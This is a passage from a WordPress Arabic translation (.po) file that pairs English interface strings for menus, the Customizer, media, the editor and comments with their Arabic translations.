msgstr "سيتم تحديث نتائج البحث أثناء الكتابة."

#: wp-includes/class-wp-customize-nav-menus.php:1268
#: wp-admin/includes/nav-menu.php:148
msgid "Custom Links"
msgstr "روابط مخصصة"

#: wp-includes/class-wp-customize-nav-menus.php:1172
msgid "Search menu items&hellip;"
msgstr "بحث فى عناصر القائمة&hellip;"

#: wp-includes/class-wp-customize-nav-menus.php:511
msgid "Menu Locations"
msgstr "أماكن القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:1161
msgid "Add Menu Items"
msgstr "أضف عناصر القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:1096
msgid "Move one level up"
msgstr "نقل مستوى واحد للأعلى"

#: wp-includes/class-wp-customize-nav-menus.php:1097
msgid "Move one level down"
msgstr "نقل مستوى واحد للأسفل"

#. translators: &#9656; is the unicode right-pointing triangle. %s: Section
#. title in the Customizer.
#: wp-includes/class-wp-customize-nav-menus.php:524
#: wp-includes/class-wp-customize-nav-menus.php:1158
#: wp-includes/class-wp-customize-section.php:246
#: wp-includes/class-wp-customize-widgets.php:905
msgid "Customizing &#9656; %s"
msgstr "تخصيص &#9666; %s"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-nav-menus.php:1169
msgid "Search Menu Items"
msgstr "بحث في عناصر القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:653
msgid "This panel is used for managing navigation menus for content you have already published on your site. You can create menus and add items for existing content such as pages, posts, categories, tags, formats, or custom links."
msgstr "هذه اللوحة تستعمل لادارة قوائم المحتوى الذي قمت بنشره على موقعك. يمكنك إنشاء قوائم وإضافة عناصر لمحتوى موجود مثل صفحات، مقالات،  تصنيفات، وسوم، التنسيقات، أو رابط مخصص."

#. translators: %s: Number of menu locations.
#: wp-includes/class-wp-customize-nav-menus.php:689
msgid "Your theme can display menus in %s location. Select which menu you would like to use."
msgid_plural "Your theme can display menus in %s locations. Select which menu appears in each location."
msgstr[0] "القالب الخاص بك لا يحتوي على قوائم (%s)."
msgstr[1] "القالب الخاص بك يدعم قائمة واحدة (%s). حدّد مكان ظهورها."
msgstr[2] "القالب الخاص بك يدعم قائمتين (%s). حدّد مكان ظهور كل قائمة."
msgstr[3] "القالب الخاص بك يدعم %s قوائم. حدّد مكان ظهور كل قائمة."
msgstr[4] "القالب الخاص بك يدعم %s قائمة. حدّد مكان ظهور كل قائمة."
msgstr[5] "القالب الخاص بك يدعم %s قائمة. حدّد مكان ظهور كل قائمة."

#. translators: 1: Item name, 2: Item position, 3: Parent item name.
#: wp-includes/class-wp-customize-nav-menus.php:568 wp-admin/nav-menus.php:513
msgid "%1$s. Sub item number %2$d under %3$s."
msgstr "%1$s. عنصر فرعي رقم %2$d تحت %3$s."

#. translators: 1: Item name, 2: Item position, 3: Total number of items.
#: wp-includes/class-wp-customize-nav-menus.php:566 wp-admin/nav-menus.php:511
msgid "%1$s. Menu item %2$d of %3$d."
msgstr "%1$s. عنصر %2$d من %3$d."

#. translators: %s: Previous item name.
#: wp-includes/class-wp-customize-nav-menus.php:564 wp-admin/nav-menus.php:509
msgid "Out from under %s"
msgstr "إخراج من %s"

#. translators: %s: Previous item name.
#: wp-includes/class-wp-customize-nav-menus.php:562 wp-admin/nav-menus.php:507
msgid "Under %s"
msgstr "فرعي تحت %s"

#. translators: %s: Previous item name.
#: wp-includes/class-wp-customize-nav-menus.php:560 wp-admin/nav-menus.php:505
msgid "Move out from under %s"
msgstr "إخراج من %s"

#. translators: %s: Previous item name.
#: wp-includes/class-wp-customize-nav-menus.php:558 wp-admin/nav-menus.php:503
msgid "Move under %s"
msgstr "نقل إلى تحت %s"

#: wp-includes/class-wp-customize-nav-menus.php:556 wp-admin/nav-menus.php:501
msgid "Move to the top"
msgstr "لأعلى القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:555 wp-admin/nav-menus.php:500
msgid "Move down one"
msgstr "نقل درجة واحدة للأسفل"

#: wp-includes/class-wp-customize-nav-menus.php:554 wp-admin/nav-menus.php:499
msgid "Move up one"
msgstr "نقل درجة واحدة لفوق"

#: wp-includes/class-wp-customize-nav-menus.php:533
msgid "Loading more results... please wait."
msgstr "تحميل المزيد من النتائج... يرجى الانتظار."

#. translators: %d: Number of menu items found.
#: wp-includes/class-wp-customize-nav-menus.php:530
msgid "Number of items found: %d"
msgstr "عدد العناصر التى وجدت: %d"

#. translators: %d: Number of additional menu items found.
#: wp-includes/class-wp-customize-nav-menus.php:532
msgid "Additional items found: %d"
msgstr "العناصر الإضافية التى وجدت: %d"

#. translators: %s: Title of a menu item in draft status.
#: wp-includes/class-wp-customize-nav-menus.php:528
#: wp-admin/includes/class-walker-nav-menu-edit.php:112
msgid "%s (Pending)"
msgstr "%s (بإنتظار المراجعة)"

#. translators: %s: Title of an invalid menu item.
#: wp-includes/class-wp-customize-nav-menus.php:526
#: wp-admin/includes/class-walker-nav-menu-edit.php:108
msgid "%s (Invalid)"
msgstr "%s (غير صالح)"

#: wp-includes/class-wp-customize-nav-menus.php:517
msgid "Menu created"
msgstr "تمّ إنشاء القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:518
msgid "Menu deleted"
msgstr "تمّ حذف القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:515 wp-admin/nav-menus.php:518
msgid "Menu item added"
msgstr "تم إضافة عنصر القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:516
msgid "Menu item deleted"
msgstr "تم حذف عنصر القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:519 wp-admin/nav-menus.php:520
msgid "Menu item moved up"
msgstr "تم نقل عنصر القائمة للأعلى"

#: wp-includes/class-wp-customize-nav-menus.php:520 wp-admin/nav-menus.php:521
msgid "Menu item moved down"
msgstr "تم نقل عنصر القائمة للأسفل"

#: wp-includes/class-wp-customize-nav-menus.php:521 wp-admin/nav-menus.php:523
msgid "Menu item moved out of submenu"
msgstr "تم نقل عنصر القائمة من القائمة الفرعية"

#: wp-includes/class-wp-customize-nav-menus.php:522 wp-admin/nav-menus.php:524
msgid "Menu item is now a sub-item"
msgstr "عنصر القائمة الآن هو عنصر فرعى"

#: wp-includes/class-wp-customize-nav-menus.php:167
#: wp-includes/class-wp-customize-nav-menus.php:451
#: wp-admin/includes/nav-menu.php:392
msgctxt "nav menu home label"
msgid "Home"
msgstr "الرئيسية"

#: wp-includes/customize/class-wp-customize-new-menu-control.php:59
#: wp-admin/nav-menus.php:1014 wp-admin/nav-menus.php:1179
msgid "Create Menu"
msgstr "إنشاء قائمة"

#. translators: Nav menu item original title. %s: Original title.
#. translators: %s: Link to menu item's original object.
#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:153
#: wp-admin/includes/class-walker-nav-menu-edit.php:269
msgid "Original: %s"
msgstr "الأصل: %s"

#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:125
#: wp-admin/edit-link-form.php:33
#: wp-admin/includes/class-walker-nav-menu-edit.php:228
#: wp-admin/includes/nav-menu.php:1129
msgid "Link Relationship (XFN)"
msgstr "علاقات الرابط (XFN)"

#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:119
#: wp-admin/includes/nav-menu.php:1128
msgid "CSS Classes"
msgstr "CSS Classes (الفئات)"

#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:113
#: wp-admin/includes/class-walker-nav-menu-edit.php:210
#: wp-admin/includes/nav-menu.php:1127
msgid "Title Attribute"
msgstr "خصائص العنوان"

#: wp-includes/class-wp-editor.php:1893
#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:108
#: wp-includes/media-template.php:1249
#: wp-includes/widgets/class-wp-widget-media-image.php:144
#: wp-admin/includes/class-walker-nav-menu-edit.php:217
msgid "Open link in a new tab"
msgstr "فتح الرابط في علامة تبويب جديدة"

#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:101
#: wp-admin/includes/class-walker-nav-menu-edit.php:204
msgid "Navigation Label"
msgstr "التسمية في القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:511
#: wp-includes/js/dist/core-data.js:2607
msgid "Menu Location"
msgstr "أماكن القائمة"

#: wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:46
#: wp-admin/nav-menus.php:1106
msgid "Automatically add new top-level pages to this menu"
msgstr "تلقائيًا أضف الصفحات الجديدة ذات المستوى الأعلى إلى هذه القائمة"

#: wp-includes/class-wp-customize-nav-menus.php:1106
#: wp-admin/nav-menus.php:1173
msgid "Delete Menu"
msgstr "حذف القائمة"

#: wp-includes/customize/class-wp-customize-nav-menu-control.php:40
msgid "Add Items"
msgstr "أضف عناصر"

#. translators: %s: Site title.
#. translators: User dashboard screen title. %s: Network title.
#: wp-includes/admin-bar.php:365 wp-admin/admin-header.php:43
msgid "User Dashboard: %s"
msgstr "لوحة تحكم العضو: %s"

#. translators: 1: The 'id' argument, 2: Sidebar name, 3: Recommended 'id'
#. value.
#: wp-includes/widgets.php:297
msgid "No %1$s was set in the arguments array for the \"%2$s\" sidebar. Defaulting to \"%3$s\". Manually set the %1$s to \"%3$s\" to silence this notice and keep existing sidebar content."
msgstr "لم يتم تعيين %1$s في مجموعة المتغيرات التابعة للشريط الجانبي \"%2$s\". تمّ التعيين افتراضيًا لـ \"%3$s\". قم يدويًا بتعيين %1$s إلى \"%3$s\" لإسكات هذا الإشعار والحفاظ على محتوى القائمة الجانبية."

#: wp-includes/customize/class-wp-customize-themes-panel.php:49
msgctxt "theme"
msgid "Change"
msgstr "تغيير"

#. translators: 1: Number of comments, 2: Post title.
#: wp-includes/blocks/comments-title.php:45
#: wp-includes/theme-compat/comments.php:44
#: wp-includes/js/dist/block-library.js:11212
msgid "%1$s response to %2$s"
msgid_plural "%1$s responses to %2$s"
msgstr[0] "لا رد على %2$s"
msgstr[1] "رد واحد على %2$s"
msgstr[2] "ردان على %2$s"
msgstr[3] "%1$s ردود على %2$s"
msgstr[4] "%1$s رد على %2$s"
msgstr[5] "%1$s رد على %2$s"

#: wp-includes/script-loader.php:1252
msgid "Site Preview"
msgstr "معاينة الموقع"

#: wp-includes/taxonomy.php:4192
msgid "Could not split shared term."
msgstr "غير قادر على تقسيم الفئة المشتركة."

#: wp-includes/taxonomy.php:489 wp-includes/taxonomy.php:490
msgid "Taxonomy names must be between 1 and 32 characters in length."
msgstr "أسماء الفئة يجب أن يكون طولها بين 1 و 32 حرفًا."

#: wp-includes/theme.php:3641
msgid "Customizer"
msgstr "مخصّص"

#: wp-includes/media.php:4597
msgid "Drag and drop to reorder media files."
msgstr "إسحب وأفلت لإعادة ترتيب ملفات الوسائط."

#: wp-includes/class-wp-customize-nav-menus.php:169
#: wp-includes/class-wp-customize-nav-menus.php:458
#: wp-includes/class-wp-customize-nav-menus.php:507
#: wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:322
#: wp-includes/nav-menu.php:914
msgid "Custom Link"
msgstr "رابط مخصّص"

#. translators: Do not translate USERNAME, PASSWORD, LOGINLINK, SITE_NAME:
#. those are placeholders.
#: wp-includes/ms-functions.php:2338
msgid ""
"Howdy USERNAME,\n"
"\n"
"Your new account is set up.\n"
"\n"
"You can log in with the following information:\n"
"Username: USERNAME\n"
"Password: PASSWORD\n"
"LOGINLINK\n"
"\n"
"Thanks!\n"
"\n"
"--The Team @ SITE_NAME"
msgstr ""
"مرحبًا USERNAME،\n"
"\n"
"تمّ إعداد حسابك بنجاح.\n"
"\n"
"يمكنك تسجيل الدخول باستخدام المعلومات التالية:\n"
"اسم المستخدم: USERNAME\n"
"كلمة المرور: PASSWORD\n"
"LOGINLINK\n"
"\n"
"شكرًا!\n"
"\n"
"--فريق العمل @ SITE_NAME"

#. translators: 1: Site URL, 2: Table name, 3: Database name.
#: wp-includes/ms-load.php:486
msgid "<strong>Could not find site %1$s.</strong> Searched for table %2$s in database %3$s. Is that right?"
msgstr "<strong>غير قادر على إيجاد الموقع %1$s.</strong> تمّ البحث عن الجدول %2$s في قاعدة البيانات %3$s. هل هذا صحيح؟"

#. translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those
#. are placeholders.
#: wp-includes/ms-functions.php:1621 wp-admin/includes/schema.php:1213
msgid ""
"Howdy USERNAME,\n"
"\n"
"Your new SITE_NAME site has been successfully set up at:\n"
"BLOG_URL\n"
"\n"
"You can log in to the administrator account with the following information:\n"
"\n"
"Username: USERNAME\n"
"Password: PASSWORD\n"
"Log in here: BLOG_URLwp-login.php\n"
"\n"
"We hope you enjoy your new site. Thanks!\n"
"\n"
"--The Team @ SITE_NAME"
msgstr ""
"مرحبًا USERNAME،\n"
"\n"
"تمّ إعداد موقعك SITE_NAME بنجاح على الرابط:\n"
"BLOG_URL\n"
"\n"
"يمكنك تسجيل الدخول إلى حساب المدير بالمعلومات التالية:\n"
"\n"
"اسم المستخدم: USERNAME\n"
"كلمة المرور: PASSWORD\n"
"رابط الدخول: BLOG_URLwp-login.php\n"
"\n"
"نأمل أن تستمتع بموقعك الجديد. شكرًا!\n"
"\n"
"--فريق العمل @ SITE_NAME"

#: wp-includes/post.php:1688 wp-includes/post.php:1689
msgid "Post type names must be between 1 and 20 characters in length."
msgstr "تسمية نوع المحتوى يجب أن تكون بين 1 و 20 حرفًا من حيث الطول."

#. translators: Revision date format, see
#. https://www.php.net/manual/datetime.format.php
#: wp-includes/post-template.php:1882 wp-includes/post-template.php:1925
msgctxt "revision date format"
msgid "F j, Y @ H:i:s"
msgstr "j F، Y @ H:i:s"

#. translators: %s: Table name.
#: wp-includes/ms-load.php:480
msgid "<strong>Database tables are missing.</strong> This means that your host&#8217;s database server is not running, WordPress was not installed properly, or someone deleted %s. You really should look at your database now."
msgstr "<strong>جداول قاعدة البيانات غير موجودة.</strong> هذا يعني أنّ خادم قاعدة البيانات لا يعمل، لم يتم تثبيت ووردبريس بشكل صحيح، أو أنّ أحدًا ما حذف %s. حقًا يبنغي عليك الآن الاطلاع على قاعدة البيانات الخاصة بك."

#. translators: %s: Post title.
#: wp-includes/comment-template.php:1617
msgid "No Comments<span class=\"screen-reader-text\"> on %s</span>"
msgstr "لا توجد تعليقات<span class=\"screen-reader-text\"> على %s</span>"

#. translators: %s: Post title.
#: wp-includes/comment-template.php:1622
msgid "1 Comment<span class=\"screen-reader-text\"> on %s</span>"
msgstr " تعليق واحد<span class=\"screen-reader-text\"> على %s</span>"

#: wp-includes/class-wp-customize-nav-menus.php:1286
#: wp-includes/class-wp-editor.php:1888 wp-includes/media-template.php:1038
#: wp-admin/includes/nav-menu.php:305
msgid "Link Text"
msgstr "نص الرابط"

#. translators: 1: Number of comments, 2: Post title.
#: wp-includes/comment-template.php:1627
msgid "%1$s Comment<span class=\"screen-reader-text\"> on %2$s</span>"
msgid_plural "%1$s Comments<span class=\"screen-reader-text\"> on %2$s</span>"
msgstr[0] "لا توجد تعليقات <span class=\"screen-reader-text\"> على %2$s</span>"
msgstr[1] "تعليق واحد <span class=\"screen-reader-text\"> على %2$s</span>"
msgstr[2] "تعليقين<span class=\"screen-reader-text\"> على %2$s</span>"
msgstr[3] "%1$s تعليقات<span class=\"screen-reader-text\"> على %2$s</span>"
msgstr[4] "%1$s تعليق<span class=\"screen-reader-text\"> على %2$s</span>"
msgstr[5] "%1$s تعليق<span class=\"screen-reader-text\"> على %2$s</span>"

#. translators: %s: Post title.
#: wp-includes/comment-template.php:1633
msgid "Comments Off<span class=\"screen-reader-text\"> on %s</span>"
msgstr "التعليقات <span class=\"screen-reader-text\"> على %s مغلقة</span>"

#. translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3:
#. 'url' argument.
#: wp-includes/general-template.php:808
msgid "The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead."
msgstr "الخيار %1$s أصبح مهجورًا في عائلة دوال %2$s. استخدم الخيار %3$s بدلًا من ذلك."

#. translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3:
#. is_rtl() function name.
#: wp-includes/general-template.php:889
msgid "The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead."
msgstr "الخيار %1$s أصبح مهجورًا في عائلة دوال %2$s. استخدم الدالة %3$s بدلًا من ذلك."

#: wp-includes/blocks/archives.php:54
#: wp-includes/widgets/class-wp-widget-archives.php:94
msgid "Select Day"
msgstr "تحديد اليوم"

#: wp-includes/blocks/archives.php:57
#: wp-includes/widgets/class-wp-widget-archives.php:97
msgid "Select Week"
msgstr "تحديد الأسبوع"

#: wp-includes/blocks/archives.php:48
#: wp-includes/widgets/class-wp-widget-archives.php:88
msgid "Select Year"
msgstr "تحديد السنة"

#: wp-includes/blocks/archives.php:60
#: wp-includes/widgets/class-wp-widget-archives.php:100
msgid "Select Post"
msgstr "تحديد المقالة"

#: wp-includes/customize/class-wp-customize-theme-control.php:83
#: wp-includes/customize/class-wp-customize-themes-section.php:78
#: wp-admin/themes.php:525 wp-admin/themes.php:581 wp-admin/themes.php:884
msgid "Theme Details"
msgstr "تفاصيل القالب"

#: wp-includes/customize/class-wp-customize-theme-control.php:278
#: wp-includes/customize/class-wp-customize-theme-control.php:280
#: wp-admin/includes/class-theme-installer-skin.php:131
#: wp-admin/includes/class-theme-upgrader-skin.php:103
#: wp-admin/includes/class-wp-themes-list-table.php:222
#: wp-admin/includes/theme.php:1072 wp-admin/includes/theme.php:1074
#: wp-admin/theme-install.php:407 wp-admin/theme-install.php:424
#: wp-admin/themes.php:562 wp-admin/themes.php:571 wp-admin/themes.php:922
#: wp-admin/themes.php:931 wp-admin/themes.php:1156 wp-admin/themes.php:1167
#: wp-admin/js/updates.js:1430
msgid "Live Preview"
msgstr "معاينة حيّة"

#: wp-includes/customize/class-wp-customize-theme-control.php:237
msgctxt "theme"
msgid "Previewing:"
msgstr "معاينة:"

#: wp-includes/class-wp-taxonomy.php:631
msgid "No categories found."
msgstr "لم يتم العثور على تصنيفات."

#: wp-includes/class-wp-editor.php:1382 wp-includes/script-loader.php:732
msgid "Distraction-free writing mode"
msgstr "نمط الكتابة بدون إلهاء"

#. translators: 1: title-tag, 2: wp_loaded
#: wp-includes/theme.php:2832
msgid "Theme support for %1$s should be registered before the %2$s hook."
msgstr "ينبغي أن يُسجل دعم القالب لـ %1$s قبل خُطاف %2$s."

#: wp-includes/class-wp-customize-widgets.php:807
msgid "Widget moved down"
msgstr "الودجت إنتقلت للأسفل"

#: wp-includes/class-wp-customize-widgets.php:806
msgid "Widget moved up"
msgstr "الودجت إنتقلت للأعلى"

#: wp-includes/class-wp-editor.php:1401
msgid "Editor toolbar"
msgstr "شريط أدوات المحرر"

#: wp-includes/class-wp-editor.php:1402
msgid "Elements path"
msgstr "مسار العناصر"

#: wp-includes/class-wp-editor.php:1400
msgid "Editor menu (when enabled)"
msgstr "قائمة المحرر (عند التمكين)"

#: wp-includes/class-wp-editor.php:1411
msgid "To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons."
msgstr "لنقل التركيز إلى أزرار أخرى استخدم مفاتيح الأسهم أو مفتاح التبديل (Tab). لإرجاع التركيز إلى المحرر اضغط على مفتاح Esc أو استخدم واحد من الأزرار الموجودة."

#: wp-includes/class-wp-editor.php:1398
msgid "Focus shortcuts:"
msgstr "اختصارات التركيز:"

#: wp-includes/class-wp-editor.php:1361
msgid "Rich Text Area. Press Alt-Shift-H for help."
msgstr "منطقة النص المُنسق، اضغط Alt-Shift-H للمساعدة."

#. translators: 1: Month, 2: Day of month.
#: wp-includes/class-wp-date-query.php:450
msgid "The following values do not describe a valid date: month %1$s, day %2$s."
msgstr "لا تصف القيم التالية تاريخًا صالحًا: شهر %1$s، يوم %2$s."

#. translators: %s: Database access abstraction class, usually wpdb or a class
#. extending wpdb.
#: wp-includes/class-wpdb.php:1326
msgid "%s must set a database connection for use with escaping."
msgstr "%s يجب أن يعين إتصالاً مع قاعدة بيانات للاستخدام مع دوال التهريب."

#: wp-includes/taxonomy.php:2473
msgid "A term with the name provided already exists in this taxonomy."
msgstr "هناك عنصر بنفس الاسم والاسم اللطيف موجود مسبقًا في هذه الفئة."

#: wp-includes/theme.php:2645
msgid "You need to pass an array of types."
msgstr "تحتاج إلى تمرير مصفوفة أنواع."

#: wp-includes/media.php:4616
msgctxt "noun"
msgid "Trash"
msgstr "سلة المهملات"

#: wp-includes/l10n.php:1573
msgctxt "translations"
msgid "Installed"
msgstr "مُثبت"

#: wp-includes/link-template.php:2850
msgid "Older posts"
msgstr "مقالات أقدم"

#: wp-includes/link-template.php:2851
msgid "Newer posts"
msgstr "مقالات أحدث"

#: wp-includes/l10n.php:1610
msgctxt "translations"
msgid "Available"
msgstr "متوفر"

#. translators: %s: Comment text.
#: wp-includes/pluggable.php:1731 wp-includes/pluggable.php:1745
#: wp-includes/pluggable.php:1767 wp-includes/pluggable.php:1951
msgid "Comment: %s"
msgstr "التعليق: %s"

#. translators: %s: Trackback/pingback/comment author URL.
#: wp-includes/pluggable.php:1729 wp-includes/pluggable.php:1743
#: wp-includes/pluggable.php:1759 wp-includes/pluggable.php:1919
#: wp-includes/pluggable.php:1930 wp-includes/pluggable.php:1943
msgid "URL: %s"
msgstr "URL: %s"

#: wp-includes/pluggable.php:1768
msgid "You can see all comments on this post here:"
msgstr "يمكنك مشاهدة كافة التعليقات على هذه المقالة من هنا:"

#: wp-includes/pluggable.php:1732
msgid "You can see all trackbacks on this post here:"
msgstr "يمكنك مشاهدة كافة التعقيبات على هذه المقالة من هنا:"

#: wp-includes/pluggable.php:1746
msgid "You can see all pingbacks on this post here:"
msgstr "يمكنك مشاهدة كافة التنبيهات على هذه المقالة من هنا:"

#: wp-includes/media-template.php:796
msgid "Edit Selection"
msgstr "تحرير التحديد"

#. translators: Hidden accessibility text.
#: wp-includes/link-template.php:2852 wp-includes/link-template.php:2924
#: wp-includes/link-template.php:2992
msgid "Posts navigation"
msgstr "تصفّح المقالات"

#: wp-includes/script-loader.php:1898
#: wp-includes/js/dist/block-library.js:39608
#: wp-includes/js/dist/components.js:58525
msgid "Previous"
msgstr "السابق"

#: wp-includes/class-wp-editor.php:1383
msgid "No alignment"
msgstr "بلا محاذاة"

#. translators: Custom template title in the Site Editor. %s: Author name.
#: wp-includes/block-template-utils.php:781
msgid "Author: %s"
msgstr "الكاتب: %s"

#: wp-includes/general-template.php:1732
msgctxt "post format archive title"
msgid "Quotes"
msgstr "الإقتباسات"

#: wp-includes/general-template.php:1726
msgctxt "post format archive title"
msgid "Galleries"
msgstr "المعارض"

#: wp-includes/general-template.php:1728
msgctxt "post format archive title"
msgid "Images"
msgstr "الصور"

#: wp-includes/general-template.php:1724
msgctxt "post format archive title"
msgid "Asides"
msgstr "الملاحظات"

#: wp-includes/general-template.php:1730
msgctxt "post format archive title"
msgid "Videos"
msgstr "الفيديوهات"

#: wp-includes/general-template.php:1734
msgctxt "post format archive title"
msgid "Links"
msgstr "الروابط"

#: wp-includes/general-template.php:1740
msgctxt "post format archive title"
msgid "Chats"
msgstr "المحادثات"

#: wp-includes/general-template.php:1738
msgctxt "post format archive title"
msgid "Audio"
msgstr "الصوتيات"

#: wp-includes/general-template.php:1736
msgctxt "post format archive title"
msgid "Statuses"
msgstr "الحالات"

#. translators: 1: Year, 2: Month, 3: Day of month.
#: wp-includes/class-wp-date-query.php:434
msgid "The following values do not describe a valid date: year %1$s, month %2$s, day %3$s."
msgstr "لا تصف القيم التالية تاريخًا صالحًا: سنة %1$s، شهر %2$s، يوم %3$s."

#: wp-includes/class-wp-editor.php:1329
msgctxt "horizontal table cell alignment"
msgid "H Align"
msgstr "محاذاة أفقية"

#: wp-includes/class-wp-editor.php:1334
msgctxt "vertical table cell alignment"
msgid "V Align"
msgstr "محاذاة عمودية"

#: wp-includes/class-wp-editor.php:1300 wp-includes/js/dist/components.js:37726
msgid "Border color"
msgstr "لون الحدود"

#: wp-includes/class-wp-editor.php:1292
msgid "Add to Dictionary"
msgstr "أضف إلى القاموس"

#. translators: Comment reply button text. %s: Comment author name.
#: wp-includes/comment-template.php:1716
msgid "Reply to %s"
msgstr "رد على %s"

#. translators: Date query invalid date message. 1: Invalid value, 2: Type of
#. value, 3: Minimum valid value, 4: Maximum valid value.
#: wp-includes/class-wp-date-query.php:404
msgid "Invalid value %1$s for %2$s. Expected value should be between %3$s and %4$s."
msgstr "قيمة غير صالحة %1$s لـ %2$s. القيمة المتوقعة ينبغي أن تكون ما بين %3$s و %4$s."

#: wp-includes/general-template.php:1720 wp-includes/general-template.php:2384
msgctxt "daily archives date format"
msgid "F j, Y"
msgstr "j F، Y"

#: wp-includes/class-wp-editor.php:1271
msgid "No color"
msgstr "بلا لون"

#: wp-includes/class-wp-editor.php:1270
msgctxt "label for custom color"
msgid "Custom..."
msgstr "مخصص..."

#: wp-includes/class-wp-editor.php:1269
msgid "Custom color"
msgstr "لون مخصص"

#: wp-includes/class-wp-editor.php:1268
#: wp-includes/js/dist/block-editor.js:51866
#: wp-includes/js/dist/block-editor.js:52250
#: wp-includes/js/dist/block-editor.js:52367
msgid "Color"
msgstr "اللون"

#: wp-includes/customize/class-wp-customize-media-control.php:250
#: wp-includes/widgets/class-wp-widget-media-image.php:38
msgid "No image selected"
msgstr "لا توجد صورة محددة"

#: wp-includes/customize/class-wp-customize-media-control.php:260
msgid "No file selected"
msgstr "لا يوجد ملف محدد"

#: wp-includes/customize/class-wp-customize-media-control.php:257
msgid "Change file"
msgstr "تغيير الملف"

#: wp-includes/customize/class-wp-customize-media-control.php:245
#: wp-includes/customize/class-wp-customize-media-control.php:251
msgid "Select image"
msgstr "تحديد صورة"

#: wp-includes/customize/class-wp-customize-media-control.php:262
msgid "Choose file"
msgstr "اختيار ملف"

#: wp-includes/post.php:76
msgctxt "post type general name"
msgid "Media"
msgstr "الوسائط"

#: wp-includes/admin-bar.php:910
msgctxt "add new from admin bar"
msgid "Link"
msgstr "رابط"

#: wp-includes/post.php:51
msgctxt "add new from admin bar"
msgid "Page"
msgstr "صفحة"

#: wp-includes/class-wp-editor.php:1186
msgctxt "list style"
msgid "Default"
msgstr "الإفتراضي"

#: wp-includes/post.php:27
msgctxt "add new from admin bar"
msgid "Post"
msgstr "مقالة"

#: wp-includes/class-wp-editor.php:1375
msgctxt "TinyMCE menu"
msgid "Format"
msgstr "التنسيق"

#: wp-login.php:1366
msgid "<strong>You have successfully updated WordPress!</strong> Please log back in to see what&#8217;s new."
msgstr "<strong>لقد تم تحديث ووردبريس بنجاح!</strong> يرجى تسجيل الدخول مرة أخرى لترى ما الجديد."

#: wp-includes/media.php:4620
msgid ""
"You are about to trash these items.\n"
"  'Cancel' to stop, 'OK' to delete."
msgstr ""
"أنت على وشك نقل هذه العناصر إلى سلة المهملات. \n"
" \"إلغاء الأمر\" للتوقف، أو \"موافق\" للحذف."

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-panel.php:354
msgid "Press return or enter to open this panel"
msgstr "إضغط زر العودة أو الإدخال لفتح هذه اللوحة"

#: wp-includes/media.php:4621
msgid "Bulk select"
msgstr "تحديد متعدد"

#. translators: %s: Taxonomy label, %l: List of terms formatted as per
#. $term_template.
#: wp-includes/taxonomy.php:4711
msgid "%s: %l."
msgstr "%s: %l."

#: wp-includes/class-wp-customize-nav-menus.php:505 wp-admin/js/nav-menu.js:601
msgctxt "missing menu item navigation label"
msgid "(no label)"
msgstr "(بدون تسمية)"

#: wp-includes/class-wp-editor.php:1381
msgid "Read more..."
msgstr "قراءة المزيد..."

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:452
#: wp-admin/includes/class-wp-media-list-table.php:481
#: wp-admin/includes/media.php:1693 wp-admin/includes/media.php:3353
msgid "File name:"
msgstr "اسم الملف:"

#: wp-includes/media-template.php:453 wp-admin/includes/media.php:1694
#: wp-admin/includes/media.php:3356
msgid "File type:"
msgstr "نوع الملف:"

#: wp-includes/media-template.php:454 wp-admin/includes/media.php:3389
msgid "File size:"
msgstr "حجم الملف:"

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:365
msgid "Edit previous media item"
msgstr "تحرير عنصر الوسائط السابق"

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:366
msgid "Edit next media item"
msgstr "تحرير عنصر الوسائط التالي"

#: wp-includes/media-template.php:555
msgid "Edit more details"
msgstr "تحرير المزيد من التفاصيل"

#: wp-includes/media.php:4630
msgid "Search media"
msgstr "بحث في الوسائط"

#: wp-includes/media.php:3014
msgid "Bitrate"
msgstr "معدل البت"

#: wp-includes/class-wp-editor.php:1366
msgid "Your browser does not support direct access to the clipboard. Please use keyboard shortcuts or your browser&#8217;s edit menu instead."
msgstr "متصفحك لا يدعم الوصول المباشر إلى الحافظة. يرجى استخدام اختصارات لوحة المفاتيح أو قائمة التحرير في متصفحك بدلا من ذلك."

#: wp-includes/media-template.php:549
msgid "View attachment page"
msgstr "عرض صفحة المرفق"

#: wp-includes/media.php:4611 wp-admin/includes/class-wp-list-table.php:733
#: wp-admin/includes/media.php:2846
msgid "All dates"
msgstr "كل التواريخ"

#: wp-includes/class-wp-post-type.php:853 wp-includes/media.php:4627
msgid "Filter by date"
msgstr "تصفية بحسب التاريخ"

#. translators: Hidden accessibility text.
#: wp-includes/media.php:4628
#: wp-admin/includes/class-wp-media-list-table.php:284
msgid "Filter by type"
msgstr "تصفية بحسب النوع"

#: wp-includes/media-template.php:457 wp-admin/includes/media.php:1698
#: wp-admin/includes/media.php:3478
msgid "Dimensions:"
msgstr "الأبعاد:"

#: wp-includes/ms-load.php:99
msgid "This site is no longer available."
msgstr "هذا الموقع لم يعد متاحاً."

#: wp-includes/media-template.php:482 wp-admin/includes/media.php:3397
msgid "Bitrate:"
msgstr "معدل البت:"

#: wp-includes/media.php:3015
msgid "Bitrate Mode"
msgstr "وضع معدل البت"

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:232
